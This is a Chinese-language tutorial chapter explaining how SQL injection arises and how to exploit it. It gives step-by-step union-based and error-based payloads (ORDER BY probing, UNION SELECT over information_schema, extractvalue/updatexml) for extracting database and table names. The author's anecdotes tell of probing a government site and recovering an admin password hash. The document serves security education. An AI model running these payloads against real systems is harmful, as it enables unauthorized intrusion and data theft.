4. SQL注入原理:从成因到实战利用

大家好,我是你们的老朋友。今天我们来聊聊SQL注入——这个Web安全领域里最经典、也最“古老”的攻击手法。说它经典,是因为从Web诞生那天起它就存在;说它古老,是因为到现在2024年了,它依然活跃在漏洞排行榜上。

我个人习惯把SQL注入比作“数字世界的特洛伊木马”。你想想看,攻击者把恶意SQL代码伪装成正常数据,骗过应用程序,混进数据库内部。等数据库“打开城门”,一切就都晚了。

4.1 SQL注入的成因:到底是怎么发生的?

说白了,SQL注入的根本原因就一句话:用户输入被当成了SQL代码来执行

为什么会这样?因为开发者在拼接SQL语句时,直接把用户输入的内容塞了进去,没有做任何过滤或转义。数据库服务器可不知道哪些是代码、哪些是数据——它照单全收,全部执行。

核心成因三要素:

  • 用户可控输入:用户能提交数据(表单、URL参数、Cookie等)
  • 未充分过滤:没有对特殊字符(如单引号'、双横线--、井号#)做转义
  • 动态拼接SQL:代码中直接拼接字符串,而不是使用参数化查询

我在项目中遇到过这样一个案例:一个电商网站的商品搜索功能,用户输入关键词后,后台直接拼出这样的SQL:

SELECT * FROM products WHERE name LIKE '%用户输入%'

如果用户输入的是 ' OR 1=1 -- ,那SQL就变成了:

SELECT * FROM products WHERE name LIKE '%' OR 1=1 -- %'

嗯,这里要注意——OR 1=1 让条件永远为真,-- 把后面的内容注释掉了。结果呢?整个商品表的数据全被查出来了。攻击者甚至不需要知道任何商品名称。

4.2 SQL注入类型分类:一张表说清楚

根据获取数据的方式,我把SQL注入分成三大类。这张表是我自己整理的,实战中非常实用:

注入类型 特点 典型场景 难度等级
联合查询注入(Union) 利用UNION操作符合并查询结果 页面有列表展示、有回显位置 ★☆☆☆☆
报错注入 利用数据库报错信息提取数据 页面显示错误信息,但无回显 ★★☆☆☆
盲注(布尔/时间) 通过页面真假或响应时间推断数据 页面无回显、无报错信息 ★★★☆☆

你可能会问:为什么Union注入最简单?因为它直接能看到数据。盲注最难,因为要一点一点“猜”。没错,实战中我也是优先尝试Union注入,不行再换报错注入,最后才考虑盲注。

4.3 Union注入:最直接的“偷数据”方式

Union注入的原理,说白了就是利用SQL的 UNION 操作符,把攻击者自己构造的查询结果,拼接到原始查询结果后面,一起显示在页面上。

我记得第一次在真实站点上成功利用Union注入时,那种感觉就像打开了新世界的大门。但后来我意识到,这背后需要满足两个条件:

  1. 有回显位置:页面必须把查询结果显示出来(比如表格、列表)
  2. 字段数匹配:UNION前后的SELECT语句列数必须相同

实战小技巧: 判断字段数可以用 ORDER BYUNION SELECT 1,2,3... 来试探。我习惯先用 ORDER BY 1ORDER BY 2 递增,直到报错,就能知道字段总数。

来看一个完整的Union注入示例。假设有一个新闻详情页,URL是:

http://example.com/news.php?id=1

后台SQL可能是:

SELECT title, content, author FROM news WHERE id = 1

第一步:判断注入点

输入 id=1',页面报错或异常,说明存在注入。

第二步:判断字段数

id=1 ORDER BY 1  -- 正常
id=1 ORDER BY 2  -- 正常
id=1 ORDER BY 3  -- 正常
id=1 ORDER BY 4  -- 报错,说明只有3个字段

第三步:确定回显位置

id=-1 UNION SELECT 1,2,3

注意这里用了 id=-1,让原始查询无结果,这样UNION的结果才能显示出来。页面上会看到数字1、2、3出现在对应位置。

第四步:提取数据

假设数字2出现在标题位置,那就在那个位置替换成我们想要的数据:

id=-1 UNION SELECT 1,database(),3  -- 获取数据库名
id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()  -- 获取所有表名

⚠️ 避坑指南: 我曾经在测试一个政府网站时,发现Union注入成功了,但页面只显示了一行数据。后来才意识到,原始查询可能返回了多条记录,而UNION只追加了一条。解决办法是让原始查询返回空结果(比如用不存在的ID),或者用 LIMIT 0,1 限制原始查询。

4.4 报错注入:没有回显?那就让数据库“开口说话”

Union注入虽然好用,但有个前提——页面得有回显位置。如果页面只显示“查询成功”或“查询失败”,没有具体数据呢?这时候报错注入就派上用场了。

报错注入的核心思路是:故意构造一个会让数据库报错的SQL语句,同时把我们要提取的数据“塞进”报错信息里。这样,数据库报错时,错误信息里就包含了我们想要的数据。

常用的报错注入函数有这几个:

数据库类型 常用函数 示例
MySQL extractvalue(), updatexml(), floor() extractvalue(1,concat(0x7e,(select database())))
SQL Server convert(), cast() convert(int,@@version)
Oracle utl_inaddr.get_host_name(), ctxsys.drithsx.sn() utl_inaddr.get_host_name((select user from dual))

以MySQL为例,我最常用的是 extractvalue()。它的原理是:extractvalue() 函数期望第二个参数是XPath格式,如果传入的不是合法XPath,就会报错并显示传入的内容。

看个实际例子:

id=1 AND extractvalue(1,concat(0x7e,(select database())))

这里 0x7e 是波浪号 ~,它本身不是合法的XPath起始字符,所以数据库会报错:

XPATH syntax error: '~mydatabase'

看到了吗?数据库名 mydatabase 就出现在报错信息里了。

个人经验: 报错注入有个限制——每次只能提取有限长度的数据。比如 extractvalue() 最多显示32个字符。如果需要提取长数据(比如一段文本),可以用 substr() 函数分段提取。我一般会写个Python脚本自动分段,省得手动一次次试。

再来看一个提取表名的完整例子:

-- 获取第一个表名
id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))

-- 获取第二个表名
id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)))

嗯,这里要注意——报错信息里可能会截断数据,如果看到 ... 结尾,说明数据被截断了,需要用 substr() 分段取。

4.5 实战中的选择策略

说了这么多,你可能会问:实战中到底该用哪种注入方式?我个人的选择顺序是这样的:

  1. 先试Union注入——如果有回显,最快最直接
  2. Union不行,试报错注入——如果页面显示错误信息,也能拿到数据
  3. 都不行,上盲注——虽然慢,但总能拿到数据

我曾经遇到过一个奇葩案例:页面既没有回显,也不显示错误信息,但响应时间有变化。最后我用时间盲注,花了整整一个下午,才把管理员密码hash给“猜”出来。虽然慢,但值得——那个站点的后台权限,值这个时间成本。

核心要点回顾:

  • SQL注入的根源是用户输入被当作代码执行
  • Union注入需要回显位置,字段数要匹配
  • 报错注入利用数据库错误信息提取数据
  • 实战中按“Union → 报错 → 盲注”的顺序尝试

好了,这一章的内容就到这里。下一章我们会深入讲解盲注的两种形式——布尔盲注和时间盲注,以及如何用自动化工具提高效率。到时候见!